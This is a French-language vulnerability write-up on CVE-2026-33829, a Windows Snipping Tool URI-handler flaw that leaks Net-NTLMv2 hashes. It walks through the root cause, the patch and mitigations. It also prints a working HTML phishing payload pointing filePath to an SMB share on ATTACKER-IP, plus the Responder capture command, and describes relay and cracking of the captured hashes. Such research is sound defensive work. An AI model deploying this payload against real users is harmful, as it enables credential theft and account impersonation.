rahultb-sec/cve-2026-33829-writeupÉtude de cas de vulnérabilité : CVE-2026-33829 (Windows Snipping Tool NTLM Coercion)
Étude de cas de vulnérabilité : CVE-2026-33829 (Coercition NTLM de l'outil de capture Windows)
Ce rapport détaille la reproduction technique de CVE-2026-33829, une vulnérabilité de divulgation d'informations dans le cadre de l'application moderne de l'outil de capture Windows. En abusant d'un paramètre d'entrée non validé dans un gestionnaire de protocole URI personnalisé, un hôte distant peut contraindre une machine Windows non corrigée à initier une connexion SMB sortante, ce qui entraîne la fuite de hachages d'authentification Net-NTLMv2 sur le réseau.
Schéma URI - (Windows utilise des protocoles personnalisés (comme ms-screensketch:, ms-settings: , file:) pour permettre aux navigateurs web de communiquer avec les applications de bureau.)
La cause première de cette vulnérabilité réside dans le schéma URI (ms-screensketch:edit). Lorsqu'une victime clique sur un lien malveillant contenant (ms-screensketch:edit?&filePath=\\ATTACKER_IP\\share\evil.png) et approuve l'invite "Ouvrir l'outil de capture", le système d'exploitation invoque SnippingTool.exe et lui transmet le paramètre filePath malveillant, tel que (ms-screensketch:edit?filePath=\\ATTACKER-IP\\share\evil.png), sans validation appropriée.
Comme il existe un paramètre :edit?, l'outil de capture tente de modifier le fichier à partir du chemin fourni (filePath=\\ATTACKER-IP\\share\evil.png). Ce qui entraîne l'initiation d'une connexion sur le réseau en utilisant le protocole SMB (Server Message Block). Parce que SMB est conçu pour vérifier qui demande le fichier, Windows tente automatiquement d'authentifier l'utilisateur. Il envoie le hachage de défi-réponse Net-NTLMv2 de l'utilisateur actuellement connecté au serveur de l'attaquant. L'ensemble du processus se déroule silencieusement en arrière-plan sans aucun avertissement visible ni invite pour l'utilisateur.
L'attaquant capture les données d'authentification de défi-réponse Net-NTLMv2 de la victime. Une fois qu'un attaquant possède le hachage Net-NTLM de la victime, il peut soit effectuer une attaque par relais NTLM pour usurper l'identité de la victime et accéder aux ressources réseau internes ou s'authentifier auprès d'autres services de l'entreprise, soit prendre le hachage capturé hors ligne et utiliser des attaques par force brute ou par dictionnaire pour découvrir le mot de passe Windows en clair réel de la victime.
Pour déclencher le gestionnaire, une charge utile HTML simple a été déployée pour simuler un vecteur de phishing ou de compromission intranet.
<!DOCTYPE html>
<html>
<body>
<button onclick="window.location.href='ms-screensketch:edit?&filePath=\\ATTACKER-IP\share\test.png&isTemporary=false&saved=true&source=Toast'">Launch Verification</button>
</body>
</html>
Pour capturer le hachage, une instance Kali Linux isolée exécutant Responder a été déployée.
sudo responder -I eth0 -v
Lors du clic sur le bouton dans l'environnement Windows cible, l'application a ouvert le contexte d'édition et a immédiatement acheminé une requête SMB vers l'hôte d'écoute. La séquence de défi-réponse d'authentification s'est déroulée sans accroc, capturant la structure du hachage Net-NTLMv2 pour le contexte utilisateur cible.
Le paquet NTLMSSP_NEGOTIATE montre le système victime initiant l'authentification NTLM lors de la configuration de la session SMB après avoir résolu le chemin UNC contrôlé par l'attaquant.
Le paquet NTLMSSP_AUTH contient les données d'authentification de défi-réponse Net-NTLMv2 transmises par le système victime après la phase de défi.
À partir de là, l'attaquant capture le hachage NTLMv2 transmis.
Les données de défi-réponse Net-NTLMv2 capturées peuvent être exploitées dans des attaques par relais NTLM ou soumises à des tentatives de craquage de mot de passe hors ligne en fonction de l'environnement cible.
Comment Windows a-t-il corrigé cela ?
Avant le correctif, la fonction d'édition de l'outil de capture prenait la chaîne dans filePath et la transmettait directement aux API d'ouverture de fichier.
Le comportement observé après correction suggère que Microsoft a introduit une logique de validation empêchant les valeurs filePath basées sur UNC/réseau d'atteindre les API de gestion de fichiers sous-jacentes. Désormais, lorsque vous transmettez une chaîne à filePath, l'application effectue une vérification de cohérence avant de la transmettre au système d'exploitation :
Si nous réessayons après avoir appliqué la mise à jour de sécurité, l'application invoque toujours le gestionnaire ms-screensketch:, mais les valeurs filePath distantes ne sont plus résolues via le flux de travail d'édition.
Assurez-vous que tous les terminaux Windows sont mis à jour après la ligne de base du correctif de sécurité du 14 avril 2026, qui introduit des limites strictes de validation des entrées dans le gestionnaire d'application.
Appliquez des règles de pare-feu de sortie strictes bloquant le trafic TCP sortant sur le port 445 vers les réseaux externes non autorisés, atténuant ainsi le risque de fuite d'identifiants.
Configurez des objets de stratégie de groupe (GPO) pour restreindre le trafic NTLM sortant vers les serveurs distants, en forçant des protocoles alternatifs sécurisés comme Kerberos lorsque cela est applicable.
Avertissement : Cette analyse a été compilée strictement à des fins éducatives, de recherche défensive et de validation en laboratoire. Tous les tests ont été effectués dans un environnement sandbox totalement isolé.